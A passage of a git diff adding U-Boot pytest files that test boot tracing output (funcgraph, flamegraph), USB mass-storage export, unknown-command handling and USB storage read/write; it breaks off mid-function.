+ dm_f_time = [line.split()[0] for line in out.replace(',', '').splitlines()
+ if 'dm_f' in line]
+
+ # Read out the trace data
+ addr = 0x02000000
+ size = 0x02000000
+ out = cons.run_command(f'trace calls {addr:x} {size:x}')
+ print(out)
+ fname = os.path.join(TMPDIR, 'trace')
+ out = cons.run_command(
+ 'host save hostfs - %x %s ${profoffset}' % (addr, fname))
+ return fname, int(dm_f_time[0])
+
+
+def check_function(cons, fname, proftool, map_fname, trace_dat):
+ """Check that the 'function' output works
+
+ Args:
+ cons (ConsoleBase): U-Boot console
+ fname (str): Filename of trace file
+ proftool (str): Filename of proftool
+ map_fname (str): Filename of System.map
+ trace_dat (str): Filename of output file
+ """
+ out = util.run_and_log(
+ cons, [proftool, '-t', fname, '-o', trace_dat, '-m', map_fname,
+ 'dump-ftrace'])
+
+ # Check that trace-cmd can read it
+ out = util.run_and_log(cons, ['trace-cmd', 'dump', trace_dat])
+
+ # Tracing meta data in file /tmp/test_trace/trace.dat:
+ # [Initial format]
+ # 6 [Version]
+ # 0 [Little endian]
+ # 4 [Bytes in a long]
+ # 4096 [Page size, bytes]
+ # [Header page, 205 bytes]
+ # [Header event, 205 bytes]
+ # [Ftrace format, 3 events]
+ # [Events format, 0 systems]
+ # [Kallsyms, 342244 bytes]
+ # [Trace printk, 0 bytes]
+ # [Saved command lines, 9 bytes]
+ # 1 [CPUs with tracing data]
+ # [6 options]
+ # [Flyrecord tracing data]
+ # [Tracing clock]
+ # [local] global counter uptime perf mono mono_raw boot x86-tsc
+ assert '[Flyrecord tracing data]' in out
+ assert '4096 [Page size, bytes]' in out
+ kallsyms = [line.split() for line in out.splitlines() if 'Kallsyms' in line]
+ # [['[Kallsyms,', '342244', 'bytes]']]
+ val = int(kallsyms[0][1])
+ assert val > 50000 # Should be at least 50KB of symbols
+
+ # Check that the trace has something useful
+ cmd = f"trace-cmd report -l {trace_dat} |grep -E '(initf_|initr_)'"
+ out = util.run_and_log(cons, ['sh', '-c', cmd])
+
+ # Format:
+ # u-boot-1 0..... 60.805596: function: initf_malloc
+ # u-boot-1 0..... 60.805597: function: initf_malloc
+ # u-boot-1 0..... 60.805601: function: initf_bootstage
+ # u-boot-1 0..... 60.805607: function: initf_bootstage
+
+ lines = [line.replace(':', '').split() for line in out.splitlines()]
+ vals = {items[4]: float(items[2]) for items in lines if len(items) == 5}
+ base = None
+ max_delta = 0
+ for timestamp in vals.values():
+ if base:
+ max_delta = max(max_delta, timestamp - base)
+ else:
+ base = timestamp
+
+ # Check for some expected functions
+ assert 'initf_malloc' in vals.keys()
+ assert 'initr_watchdog' in vals.keys()
+ assert 'initr_dm' in vals.keys()
+
+ # All the functions should be executed within five seconds at most
+ assert max_delta < 5
+
+
+def check_funcgraph(cons, fname, proftool, map_fname, trace_dat):
+ """Check that the 'funcgraph' output works
+
+ Args:
+ cons (ConsoleBase): U-Boot console
+ fname (str): Filename of trace file
+ proftool (str): Filename of proftool
+ map_fname (str): Filename of System.map
+ trace_dat (str): Filename of output file
+
+ Returns:
+ int: Time taken by the first part of the initf_dm() function, in us
+ """
+
+ # Generate the funcgraph format
+ out = util.run_and_log(
+ cons, [proftool, '-t', fname, '-o', trace_dat, '-m', map_fname,
+ 'dump-ftrace', '-f', 'funcgraph'])
+
+ # Check that the trace has what we expect
+ cmd = f'trace-cmd report -l {trace_dat} |head -n 70'
+ out = util.run_and_log(cons, ['sh', '-c', cmd])
+
+ # First look for this:
+ # u-boot-1 0..... 282.101360: funcgraph_entry: 0.004 us | initf_malloc();
+ # ...
+ # u-boot-1 0..... 282.101369: funcgraph_entry: | initf_bootstage() {
+ # u-boot-1 0..... 282.101369: funcgraph_entry: | bootstage_init() {
+ # u-boot-1 0..... 282.101369: funcgraph_entry: | dlmalloc() {
+ # ...
+ # u-boot-1 0..... 282.101375: funcgraph_exit: 0.001 us | }
+ # Then look for this:
+ # u-boot-1 0..... 282.101375: funcgraph_exit: 0.006 us | }
+ # Then check for this:
+ # u-boot-1 0..... 282.101375: funcgraph_entry: 0.000 us | initcall_is_event();
+
+ expected_indent = None
+ found_start = False
+ found_end = False
+ upto = None
+
+ # Look for initf_bootstage() entry and make sure we see the exit
+ # Collect the time for initf_dm()
+ for line in out.splitlines():
+ m = RE_LINE.match(line)
+ if m:
+ timestamp, indent, func, brace = m.groups()
+ if found_end:
+ upto = func
+ break
+ elif func == 'initf_bootstage() ':
+ found_start = True
+ expected_indent = indent + ' '
+ elif found_start and indent == expected_indent and brace == '}':
+ found_end = True
+
+ # The next function after initf_bootstage() exits should be
+ # initcall_is_event()
+ assert upto == 'initcall_is_event()'
+
+ # Now look for initf_dm() and dm_timer_init() so we can check the bootstage
+ # time
+ cmd = f"trace-cmd report -l {trace_dat} |grep -E '(initf_dm|dm_timer_init)'"
+ out = util.run_and_log(cons, ['sh', '-c', cmd])
+
+ start_timestamp = None
+ end_timestamp = None
+ for line in out.splitlines():
+ m = RE_LINE.match(line)
+ if m:
+ timestamp, indent, func, brace = m.groups()
+ if func == 'initf_dm() ':
+ start_timestamp = timestamp
+ elif func == 'dm_timer_init() ':
+ end_timestamp = timestamp
+ break
+ assert start_timestamp and end_timestamp
+
+ # Convert the time to microseconds
+ return int((float(end_timestamp) - float(start_timestamp)) * 1000000)
+
+
+def check_flamegraph(cons, fname, proftool, map_fname, trace_fg):
+ """Check that the 'flamegraph' output works
+
+ This spot checks a few call counts and estimates the time taken by the
+ initf_dm() function
+
+ Args:
+ cons (ConsoleBase): U-Boot console
+ fname (str): Filename of trace file
+ proftool (str): Filename of proftool
+ map_fname (str): Filename of System.map
+ trace_fg (str): Filename of output file
+
+ Returns:
+ int: Approximate number of microseconds used by the initf_dm() function
+ """
+
+ # Generate the flamegraph format
+ out = util.run_and_log(
+ cons, [proftool, '-t', fname, '-o', trace_fg, '-m', map_fname,
+ 'dump-flamegraph'])
+
+ # We expect dm_timer_init() to be called twice: once before relocation and
+ # once after
+ look1 = 'initf_dm;dm_timer_init 1'
+ look2 = 'board_init_r;initcall_run_list;initr_dm_devices;dm_timer_init 1'
+ found = 0
+ with open(trace_fg, 'r') as fd:
+ for line in fd:
+ line = line.strip()
+ if line == look1 or line == look2:
+ found += 1
+ assert found == 2
+
+ # Generate the timing graph
+ out = util.run_and_log(
+ cons, [proftool, '-t', fname, '-o', trace_fg, '-m', map_fname,
+ 'dump-flamegraph', '-f', 'timing'])
+
+ # Add up all the time spend in initf_dm() and its children
+ total = 0
+ with open(trace_fg, 'r') as fd:
+ for line in fd:
+ line = line.strip()
+ if line.startswith('initf_dm'):
+ func, val = line.split()
+ count = int(val)
+ total += count
+ return total
+
+check_flamegraph
+@pytest.mark.slow
+@pytest.mark.boardspec('sandbox')
+@pytest.mark.buildconfigspec('trace')
+def test_trace(u_boot_console):
+ """Test we can build sandbox with trace, collect and process a trace"""
+ cons = u_boot_console
+
+ if not os.path.exists(TMPDIR):
+ os.mkdir(TMPDIR)
+ proftool = os.path.join(cons.config.build_dir, 'tools', 'proftool')
+ map_fname = os.path.join(cons.config.build_dir, 'System.map')
+ trace_dat = os.path.join(TMPDIR, 'trace.dat')
+ trace_fg = os.path.join(TMPDIR, 'trace.fg')
+
+ fname, dm_f_time = collect_trace(cons)
+
+ check_function(cons, fname, proftool, map_fname, trace_dat)
+ trace_time = check_funcgraph(cons, fname, proftool, map_fname, trace_dat)
+
+ # Check that bootstage and funcgraph agree to within 10 microseconds
+ diff = abs(trace_time - dm_f_time)
+ print(f'trace_time {trace_time}, dm_f_time {dm_f_time}')
+ assert diff / dm_f_time < 0.01
+
+ fg_time = check_flamegraph(cons, fname, proftool, map_fname, trace_fg)
+
+ # Check that bootstage and flamegraph agree to within 30%
+ # This allows for CI being slow to run
+ diff = abs(fg_time - dm_f_time)
+ assert diff / dm_f_time < 0.3
diff --git a/test/py/tests/test_ums.py b/test/py/tests/test_ums.py
new file mode 100644
index 00000000000..749b1606235
--- /dev/null
+++ b/test/py/tests/test_ums.py
@@ -0,0 +1,236 @@
+# SPDX-License-Identifier: GPL-2.0
+# Copyright (c) 2015-2016, NVIDIA CORPORATION. All rights reserved.
+
+# Test U-Boot's "ums" command. The test starts UMS in U-Boot, waits for USB
+# device enumeration on the host, reads a small block of data from the UMS
+# block device, optionally mounts a partition and performs filesystem-based
+# read/write tests, and finally aborts the "ums" command in U-Boot.
+
+import os
+import os.path
+import pytest
+import re
+import time
+import u_boot_utils
+
+"""
+Note: This test relies on:
+
+a) boardenv_* to contain configuration values to define which USB ports are
+available for testing. Without this, this test will be automatically skipped.
+For example:
+
+# Leave this list empty if you have no block_devs below with writable
+# partitions defined.
+env__mount_points = (
+ '/mnt/ubtest-mnt-p2371-2180-na',
+)
+
+env__usb_dev_ports = (
+ {
+ 'fixture_id': 'micro_b',
+ 'tgt_usb_ctlr': '0',
+ 'host_ums_dev_node': '/dev/disk/by-path/pci-0000:00:14.0-usb-0:13:1.0-scsi-0:0:0:0',
+ },
+)
+
+env__block_devs = (
+ # eMMC; always present
+ {
+ 'fixture_id': 'emmc',
+ 'type': 'mmc',
+ 'id': '0',
+ # The following two properties are optional.
+ # If present, the partition will be mounted and a file written-to and
+ # read-from it. If missing, only a simple block read test will be
+ # performed.
+ 'writable_fs_partition': 1,
+ 'writable_fs_subdir': 'tmp/',
+ },
+ # SD card; present since I plugged one in
+ {
+ 'fixture_id': 'sd',
+ 'type': 'mmc',
+ 'id': '1'
+ },
+)
+
+b) udev rules to set permissions on devices nodes, so that sudo is not
+required. For example:
+
+ACTION=="add", SUBSYSTEM=="block", SUBSYSTEMS=="usb", KERNELS=="3-13", MODE:="666"
+
+(You may wish to change the group ID instead of setting the permissions wide
+open. All that matters is that the user ID running the test can access the
+device.)
+
+c) /etc/fstab entries to allow the block device to be mounted without requiring
+root permissions. For example:
+
+/dev/disk/by-path/pci-0000:00:14.0-usb-0:13:1.0-scsi-0:0:0:0-part1 /mnt/ubtest-mnt-p2371-2180-na ext4 noauto,user,nosuid,nodev
+
+This entry is only needed if any block_devs above contain a
+writable_fs_partition value.
+"""
+
+@pytest.mark.buildconfigspec('cmd_usb_mass_storage')
+def test_ums(u_boot_console, env__usb_dev_port, env__block_devs):
+ """Test the "ums" command; the host system must be able to enumerate a UMS
+ device when "ums" is running, block and optionally file I/O are tested,
+ and this device must disappear when "ums" is aborted.
+
+ Args:
+ u_boot_console: A U-Boot console connection.
+ env__usb_dev_port: The single USB device-mode port specification on
+ which to run the test. See the file-level comment above for
+ details of the format.
+ env__block_devs: The list of block devices that the target U-Boot
+ device has attached. See the file-level comment above for details
+ of the format.
+
+ Returns:
+ Nothing.
+ """
+
+ have_writable_fs_partition = 'writable_fs_partition' in env__block_devs[0]
+ if not have_writable_fs_partition:
+ # If 'writable_fs_subdir' is missing, we'll skip all parts of the
+ # testing which mount filesystems.
+ u_boot_console.log.warning(
+ 'boardenv missing "writable_fs_partition"; ' +
+ 'UMS testing will be limited.')
+
+ tgt_usb_ctlr = env__usb_dev_port['tgt_usb_ctlr']
+ host_ums_dev_node = env__usb_dev_port['host_ums_dev_node']
+
+ # We're interested in testing USB device mode on each port, not the cross-
+ # product of that with each device. So, just pick the first entry in the
+ # device list here. We'll test each block device somewhere else.
+ tgt_dev_type = env__block_devs[0]['type']
+ tgt_dev_id = env__block_devs[0]['id']
+ if have_writable_fs_partition:
+ mount_point = u_boot_console.config.env['env__mount_points'][0]
+ mount_subdir = env__block_devs[0]['writable_fs_subdir']
+ part_num = env__block_devs[0]['writable_fs_partition']
+ host_ums_part_node = '%s-part%d' % (host_ums_dev_node, part_num)
+ else:
+ host_ums_part_node = host_ums_dev_node
+
+ test_f = u_boot_utils.PersistentRandomFile(u_boot_console, 'ums.bin',
+ 1024 * 1024);
+ if have_writable_fs_partition:
+ mounted_test_fn = mount_point + '/' + mount_subdir + test_f.fn
+
+ def start_ums():
+ """Start U-Boot's ums shell command.
+
+ This also waits for the host-side USB enumeration process to complete.
+
+ Args:
+ None.
+
+ Returns:
+ Nothing.
+ """
+
+ u_boot_console.log.action(
+ 'Starting long-running U-Boot ums shell command')
+ cmd = 'ums %s %s %s' % (tgt_usb_ctlr, tgt_dev_type, tgt_dev_id)
+ u_boot_console.run_command(cmd, wait_for_prompt=False)
+ u_boot_console.wait_for(re.compile('UMS: LUN.*[\r\n]'))
+ fh = u_boot_utils.wait_until_open_succeeds(host_ums_part_node)
+ u_boot_console.log.action('Reading raw data from UMS device')
+ fh.read(4096)
+ fh.close()
+
+ def mount():
+ """Mount the block device that U-Boot exports.
+
+ Args:
+ None.
+
+ Returns:
+ Nothing.
+ """
+
+ u_boot_console.log.action('Mounting exported UMS device')
+ cmd = ('/bin/mount', host_ums_part_node)
+ u_boot_utils.run_and_log(u_boot_console, cmd)
+
+ def umount(ignore_errors):
+ """Unmount the block device that U-Boot exports.
+
+ Args:
+ ignore_errors: Ignore any errors. This is useful if an error has
+ already been detected, and the code is performing best-effort
+ cleanup. In this case, we do not want to mask the original
+ error by "honoring" any new errors.
+
+ Returns:
+ Nothing.
+ """
+
+ u_boot_console.log.action('Unmounting UMS device')
+ cmd = ('/bin/umount', host_ums_part_node)
+ u_boot_utils.run_and_log(u_boot_console, cmd, ignore_errors)
+
+ def stop_ums(ignore_errors):
+ """Stop U-Boot's ums shell command from executing.
+
+ This also waits for the host-side USB de-enumeration process to
+ complete.
+
+ Args:
+ ignore_errors: Ignore any errors. This is useful if an error has
+ already been detected, and the code is performing best-effort
+ cleanup. In this case, we do not want to mask the original
+ error by "honoring" any new errors.
+
+ Returns:
+ Nothing.
+ """
+
+ u_boot_console.log.action(
+ 'Stopping long-running U-Boot ums shell command')
+ u_boot_console.ctrlc()
+ u_boot_utils.wait_until_file_open_fails(host_ums_part_node,
+ ignore_errors)
+
+ ignore_cleanup_errors = True
+ try:
+ start_ums()
+ if not have_writable_fs_partition:
+ # Skip filesystem-based testing if not configured
+ return
+ try:
+ mount()
+ u_boot_console.log.action('Writing test file via UMS')
+ cmd = ('rm', '-f', mounted_test_fn)
+ u_boot_utils.run_and_log(u_boot_console, cmd)
+ if os.path.exists(mounted_test_fn):
+ raise Exception('Could not rm target UMS test file')
+ cmd = ('cp', test_f.abs_fn, mounted_test_fn)
+ u_boot_utils.run_and_log(u_boot_console, cmd)
+ ignore_cleanup_errors = False
+ finally:
+ umount(ignore_errors=ignore_cleanup_errors)
+ finally:
+ stop_ums(ignore_errors=ignore_cleanup_errors)
+
+ ignore_cleanup_errors = True
+ try:
+ start_ums()
+ try:
+ mount()
+ u_boot_console.log.action('Reading test file back via UMS')
+ read_back_hash = u_boot_utils.md5sum_file(mounted_test_fn)
+ cmd = ('rm', '-f', mounted_test_fn)
+ u_boot_utils.run_and_log(u_boot_console, cmd)
+ ignore_cleanup_errors = False
+ finally:
+ umount(ignore_errors=ignore_cleanup_errors)
+ finally:
+ stop_ums(ignore_errors=ignore_cleanup_errors)
+
+ written_hash = test_f.content_hash
+ assert(written_hash == read_back_hash)
diff --git a/test/py/tests/test_unknown_cmd.py b/test/py/tests/test_unknown_cmd.py
new file mode 100644
index 00000000000..8fc284a9249
--- /dev/null
+++ b/test/py/tests/test_unknown_cmd.py
@@ -0,0 +1,13 @@
+# SPDX-License-Identifier: GPL-2.0
+# Copyright (c) 2015 Stephen Warren
+# Copyright (c) 2016, NVIDIA CORPORATION. All rights reserved.
+
+def test_unknown_command(u_boot_console):
+ """Test that executing an unknown command causes U-Boot to print an
+ error."""
+
+ # The "unknown command" error is actively expected here,
+ # so error detection for it is disabled.
+ with u_boot_console.disable_check('unknown_command'):
+ response = u_boot_console.run_command('non_existent_cmd')
+ assert('Unknown command \'non_existent_cmd\' - try \'help\'' in response)
diff --git a/test/py/tests/test_usb.py b/test/py/tests/test_usb.py
new file mode 100644
index 00000000000..fb3d20f0826
--- /dev/null
+++ b/test/py/tests/test_usb.py
@@ -0,0 +1,626 @@
+# SPDX-License-Identifier: GPL-2.0
+# (C) Copyright 2023, Advanced Micro Devices, Inc.
+
+import pytest
+import random
+import re
+import u_boot_utils
+
+"""
+Note: This test doesn't rely on boardenv_* configuration values but it can
+change the test behavior. To test USB file system cases (fat32, ext2, ext4),
+USB device should be formatted and valid partitions should be created for
+different file system, otherwise it may leads to failure. This test will be
+skipped if the USB device is not detected.
+
+For example:
+
+# Setup env__usb_device_test_skip to not skipping the test. By default, its
+# value is set to True. Set it to False to run all tests for USB device.
+env__usb_device_test_skip = False
+"""
+
+def setup_usb(u_boot_console):
+ if u_boot_console.config.env.get('env__usb_device_test_skip', True):
+ pytest.skip('USB device test is not enabled')
+
+@pytest.mark.buildconfigspec('cmd_usb')
+def test_usb_start(u_boot_console):
+ setup_usb(u_boot_console)
+ output = u_boot_console.run_command('usb start')
+
+ # if output is empty, usb start may already run as part of preboot command
+ # re-start the usb, in that case
+ if not output:
+ u_boot_console.run_command('usb stop')
+ output = u_boot_console.run_command('usb start')
+
+ if 'No USB device found' in output:
+ pytest.skip('No USB controller available')
+
+ if 'Card did not respond to voltage select' in output:
+ pytest.skip('No USB device present')
+
+ controllers = 0
+ storage_device = 0
+ obj = re.search(r'\d USB Device\(s\) found', output)
+ controllers = int(obj.group()[0])
+
+ if not controllers:
+ pytest.skip('No USB device present')
+
+ obj = re.search(r'\d Storage Device\(s\) found', output)
+ storage_device = int(obj.group()[0])
+
+ if not storage_device:
+ pytest.skip('No USB storage device present')
+
+ assert 'USB init failed' not in output
+ assert 'starting USB...' in output
+
+ if 'Starting the controller' in output:
+ assert 'USB XHCI' in output
+
+ output = u_boot_console.run_command('echo $?')
+ assert output.endswith('0')
+ return controllers, storage_device
+
+@pytest.mark.buildconfigspec('cmd_usb')
+def test_usb_stop(u_boot_console):
+ setup_usb(u_boot_console)
+ output = u_boot_console.run_command('usb stop')
+ assert 'stopping USB..' in output
+
+ output = u_boot_console.run_command('echo $?')
+ assert output.endswith('0')
+
+ output = u_boot_console.run_command('usb dev')
+ assert "USB is stopped. Please issue 'usb start' first." in output
+
+@pytest.mark.buildconfigspec('cmd_usb')
+def test_usb_reset(u_boot_console):
+ setup_usb(u_boot_console)
+ output = u_boot_console.run_command('usb reset')
+
+ if 'No USB device found' in output:
+ pytest.skip('No USB controller available')
+
+ if 'Card did not respond to voltage select' in output:
+ pytest.skip('No USB device present')
+
+ obj = re.search(r'\d USB Device\(s\) found', output)
+ usb_dev_num = int(obj.group()[0])
+
+ if not usb_dev_num:
+ pytest.skip('No USB device present')
+
+ obj = re.search(r'\d Storage Device\(s\) found', output)
+ usb_stor_num = int(obj.group()[0])
+
+ if not usb_stor_num:
+ pytest.skip('No USB storage device present')
+
+ assert 'BUG' not in output
+ assert 'USB init failed' not in output
+ assert 'resetting USB...' in output
+
+ if 'Starting the controller' in output:
+ assert 'USB XHCI' in output
+
+ output = u_boot_console.run_command('echo $?')
+ assert output.endswith('0')
+
+@pytest.mark.buildconfigspec('cmd_usb')
+def test_usb_info(u_boot_console):
+ controllers, storage_device = test_usb_start(u_boot_console)
+ output = u_boot_console.run_command('usb info')
+
+ num_controller = len(re.findall(': Hub,', output))
+ num_mass_storage = len(re.findall(': Mass Storage,', output))
+
+ assert num_controller == controllers - 1
+ assert num_mass_storage == storage_device
+
+ output = u_boot_console.run_command('echo $?')
+ assert output.endswith('0')
+
+ for i in range(0, storage_device + controllers - 1):
+ output = u_boot_console.run_command('usb info %d' % i)
+ num_controller = len(re.findall(': Hub,', output))
+ num_mass_storage = len(re.findall(': Mass Storage,', output))
+ assert num_controller + num_mass_storage == 1
+ assert 'No device available' not in output
+ output = u_boot_console.run_command('echo $?')
+ assert output.endswith('0')
+
+@pytest.mark.buildconfigspec('cmd_usb')
+def test_usb_tree(u_boot_console):
+ controllers, storage_device = test_usb_start(u_boot_console)
+ output = u_boot_console.run_command('usb tree')
+
+ num_controller = len(re.findall('Hub', output))
+ num_mass_storage = len(re.findall('Mass Storage', output))
+
+ assert num_controller == controllers - 1
+ assert num_mass_storage == storage_device
+
+ output = u_boot_console.run_command('echo $?')
+ assert output.endswith('0')
+
+@pytest.mark.buildconfigspec('cmd_usb')
+@pytest.mark.buildconfigspec('usb_storage')
+def test_usb_storage(u_boot_console):
+ controllers, storage_device = test_usb_start(u_boot_console)
+ output = u_boot_console.run_command('usb storage')
+
+ obj = re.findall(r'Capacity: (\d+|\d+[\.]?\d)', output)
+ devices = {}
+
+ for key in range(int(storage_device)):
+ devices[key] = {}
+
+ for x in range(int(storage_device)):
+ try:
+ capacity = float(obj[x].split()[0])
+ devices[x]['capacity'] = capacity
+ print('USB storage device %d capacity is: %g MB' % (x, capacity))
+ except ValueError:
+ pytest.fail('USB storage device capacity not recognized')
+
+ output = u_boot_console.run_command('echo $?')
+ assert output.endswith('0')
+
+@pytest.mark.buildconfigspec('cmd_usb')
+def test_usb_dev(u_boot_console):
+ controllers, storage_device = test_usb_start(u_boot_console)
+ output = u_boot_console.run_command('usb dev')
+
+ assert 'no usb devices available' not in output
+
+ output = u_boot_console.run_command('echo $?')
+ assert output.endswith('0')
+
+ devices = {}
+
+ for key in range(int(storage_device)):
+ devices[key] = {}
+
+ fail = 0
+ for x in range(0, storage_device):
+ devices[x]['detected'] = 'yes'
+ output = u_boot_console.run_command('usb dev %d' % x)
+
+ if 'Card did not respond to voltage select' in output:
+ fail = 1
+ devices[x]['detected'] = 'no'
+
+ if 'No USB device found' in output:
+ devices[x]['detected'] = 'no'
+
+ if 'unknown device' in output:
+ devices[x]['detected'] = 'no'
+
+ assert 'is now current device' in output
+ output = u_boot_console.run_command('echo $?')
+ assert output.endswith('0')
+
+ if fail:
+ pytest.fail('USB device not present')
+
+ return devices, controllers, storage_device
+
+@pytest.mark.buildconfigspec('cmd_usb')
+def test_usb_part(u_boot_console):
+ devices, controllers, storage_device = test_usb_dev(u_boot_console)
+ if not devices:
+ pytest.skip('No devices detected')
+
+ u_boot_console.run_command('usb part')
+
+ output = u_boot_console.run_command('echo $?')
+ assert output.endswith('0')
+
+ for i in range(0, storage_device):
+ if devices[i]['detected'] == 'yes':
+ u_boot_console.run_command('usb dev %d' % i)
+ output = u_boot_console.run_command('usb part')
+
+ lines = output.split('\n')
+ part_fat = []
+ part_ext = []
+ for line in lines:
+ obj = re.search(r'(\d)\s+\d+\s+\d+\s+\w+\d+\w+-\d+\s+(\d+\w+)', line)
+ if obj:
+ part_id = int(obj.groups()[0])
+ part_type = obj.groups()[1]
+ print('part_id:%d, part_type:%s' % (part_id, part_type))
+
+ if part_type == '0c' or part_type == '0b' or part_type == '0e':
+ print('Fat detected')
+ part_fat.append(part_id)
+ elif part_type == '83':
+ print('ext detected')
+ part_ext.append(part_id)
+ else:
+ pytest.fail('Unsupported Filesystem on device %d' % i)
+ devices[i]['ext4'] = part_ext
+ devices[i]['ext2'] = part_ext
+ devices[i]['fat'] = part_fat
+
+ if not part_ext and not part_fat:
+ pytest.fail('No partition detected on device %d' % i)
+
+ return devices, controllers, storage_device
+
+@pytest.mark.buildconfigspec('cmd_usb')
+@pytest.mark.buildconfigspec('cmd_fat')
+def test_usb_fatls_fatinfo(u_boot_console):
+ devices, controllers, storage_device = test_usb_part(u_boot_console)
+ if not devices:
+ pytest.skip('No devices detected')
+
+ part_detect = 0
+ fs = 'fat'
+ for x in range(0, int(storage_device)):
+ if devices[x]['detected'] == 'yes':
+ u_boot_console.run_command('usb dev %d' % x)
+ try:
+ partitions = devices[x][fs]
+ except:
+ print('No %s table on this device' % fs.upper())
+ continue
+
+ for part in partitions:
+ output = u_boot_console.run_command('fatls usb %d:%s' % (x, part))
+ if 'Unrecognized filesystem type' in output:
+ partitions.remove(part)
+ pytest.fail('Unrecognized filesystem')
+
+ if not re.search(r'\d file\(s\), \d dir\(s\)', output):
+ pytest.fail('%s read failed on device %d' % (fs.upper, x))
+
+ output = u_boot_console.run_command('fatinfo usb %d:%s' % (x, part))
+ string = 'Filesystem: %s' % fs.upper
+ if re.search(string, output):
+ pytest.fail('%s FS failed on device %d' % (fs.upper(), x))
+ part_detect = 1
+
+ if not part_detect:
+ pytest.skip('No %s partition detected' % fs.upper())
+
+@pytest.mark.buildconfigspec('cmd_usb')
+@pytest.mark.buildconfigspec('cmd_fat')
+@pytest.mark.buildconfigspec('cmd_memory')
+def test_usb_fatload_fatwrite(u_boot_console):
+ devices, controllers, storage_device = test_usb_part(u_boot_console)
+ if not devices:
+ pytest.skip('No devices detected')
+
+ part_detect = 0
+ fs = 'fat'
+ for x in range(0, int(storage_device)):
+ if devices[x]['detected'] == 'yes':
+ u_boot_console.run_command('usb dev %d' % x)
+ try:
+ partitions = devices[x][fs]
+ except:
+ print('No %s table on this device' % fs.upper())
+ continue
+
+ for part in partitions:
+ part_detect = 1
+ addr = u_boot_utils.find_ram_base(u_boot_console)
+ size = random.randint(4, 1 * 1024 * 1024)
+ output = u_boot_console.run_command('crc32 %x %x' % (addr, size))
+ m = re.search('==> (.+?)', output)
+ if not m:
+ pytest.fail('CRC32 failed')
+ expected_crc32 = m.group(1)
+
+ file = '%s_%d' % ('uboot_test', size)
+ output = u_boot_console.run_command(
+ '%swrite usb %d:%s %x %s %x' % (fs, x, part, addr, file, size)
+ )
+ assert 'Unable to write' not in output
+ assert 'Error' not in output
+ assert 'overflow' not in output
+ expected_text = '%d bytes written' % size
+ assert expected_text in output
+
+ alignment = int(
+ u_boot_console.config.buildconfig.get(
+ 'config_sys_cacheline_size', 128
+ )
+ )
+ offset = random.randrange(alignment, 1024, alignment)
+ output = u_boot_console.run_command(
+ '%sload usb %d:%s %x %s' % (fs, x, part, addr + offset, file)
+ )
+ assert 'Invalid FAT entry' not in output
+ assert 'Unable to read file' not in output
+ assert 'Misaligned buffer address' not in output
+ expected_text = '%d bytes read' % size
+ assert expected_text in output
+
+ output = u_boot_console.run_command(
+ 'crc32 %x $filesize' % (addr + offset)
+ )
+ assert expected_crc32 in output
+
+ if not part_detect:
+ pytest.skip('No %s partition detected' % fs.upper())
+
+ return file, size
+
+@pytest.mark.buildconfigspec('cmd_usb')
+@pytest.mark.buildconfigspec('cmd_ext4')
+def test_usb_ext4ls(u_boot_console):
+ devices, controllers, storage_device = test_usb_part(u_boot_console)
+ if not devices:
+ pytest.skip('No devices detected')
+
+ part_detect = 0
+ fs = 'ext4'
+ for x in range(0, int(storage_device)):
+ if devices[x]['detected'] == 'yes':
+ try:
+ partitions = devices[x][fs]
+ except:
+ print('No %s table on this device' % fs.upper())
+ continue
+
+ u_boot_console.run_command('usb dev %d' % x)
+ for part in partitions:
+ output = u_boot_console.run_command('%sls usb %d:%s' % (fs, x, part))
+ if 'Unrecognized filesystem type' in output:
+ partitions.remove(part)
+ pytest.fail('Unrecognized filesystem')
+ part_detect = 1
+
+ if not part_detect:
+ pytest.skip('No %s partition detected' % fs.upper())
+
+@pytest.mark.buildconfigspec('cmd_usb')
+@pytest.mark.buildconfigspec('cmd_ext4')
+@pytest.mark.buildconfigspec('ext4_write')
+@pytest.mark.buildconfigspec('cmd_memory')
+def test_usb_ext4load_ext4write(u_boot_console):
+ devices, controllers, storage_device = test_usb_part(u_boot_console)
+ if not devices:
+ pytest.skip('No devices detected')
+
+ part_detect = 0
+ fs = 'ext4'
+ for x in range(0, int(storage_device)):
+ if devices[x]['detected'] == 'yes':
+ u_boot_console.run_command('usb dev %d' % x)
+ try:
+ partitions = devices[x][fs]
+ except:
+ print('No %s table on this device' % fs.upper())
+ continue
+
+ for part in partitions:
+ part_detect = 1
+ addr = u_boot_utils.find_ram_base(u_boot_console)
+ size = random.randint(4, 1 * 1024 * 1024)
+ output = u_boot_console.run_command('crc32 %x %x' % (addr, size))
+ m = re.search('==> (.+?)', output)
+ if not m:
+ pytest.fail('CRC32 failed')
+ expected_crc32 = m.group(1)
+ file = '%s_%d' % ('uboot_test', size)
+
+ output = u_boot_console.run_command(
+ '%swrite usb %d:%s %x /%s %x' % (fs, x, part, addr, file, size)
+ )
+ assert 'Unable to write' not in output
+ assert 'Error' not in output
+ assert 'overflow' not in output
+ expected_text = '%d bytes written' % size
+ assert expected_text in output
+
+ offset = random.randrange(128, 1024, 128)
+ output = u_boot_console.run_command(
+ '%sload usb %d:%s %x /%s' % (fs, x, part, addr + offset, file)
+ )
+ expected_text = '%d bytes read' % size
+ assert expected_text in output
+
+ output = u_boot_console.run_command(
+ 'crc32 %x $filesize' % (addr + offset)
+ )
+ assert expected_crc32 in output
+
+ if not part_detect:
+ pytest.skip('No %s partition detected' % fs.upper())
+
+ return file, size
+
+@pytest.mark.buildconfigspec('cmd_usb')
+@pytest.mark.buildconfigspec('cmd_ext2')
+def test_usb_ext2ls(u_boot_console):
+ devices, controllers, storage_device = test_usb_part(u_boot_console)
+ if not devices:
+ pytest.skip('No devices detected')
+
+ part_detect = 0
+ fs = 'ext2'
+ for x in range(0, int(storage_device)):
+ if devices[x]['detected'] == 'yes':
+ u_boot_console.run_command('usb dev %d' % x)
+ try:
+ partitions = devices[x][fs]
+ except:
+ print('No %s table on this device' % fs.upper())
+ continue
+
+ for part in partitions:
+ part_detect = 1
+ output = u_boot_console.run_command('%sls usb %d:%s' % (fs, x, part))
+ if 'Unrecognized filesystem type' in output:
+ partitions.remove(part)
+ pytest.fail('Unrecognized filesystem')
+ part_detect = 1
+
+ if not part_detect:
+ pytest.skip('No %s partition detected' % fs.upper())
+
+@pytest.mark.buildconfigspec('cmd_usb')
+@pytest.mark.buildconfigspec('cmd_ext2')
+@pytest.mark.buildconfigspec('cmd_ext4')
+@pytest.mark.buildconfigspec('ext4_write')
+@pytest.mark.buildconfigspec('cmd_memory')
+def test_usb_ext2load(u_boot_console):
+ devices, controllers, storage_device = test_usb_part(u_boot_console)
+ file, size = test_usb_ext4load_ext4write(u_boot_console)
+
+ if not devices:
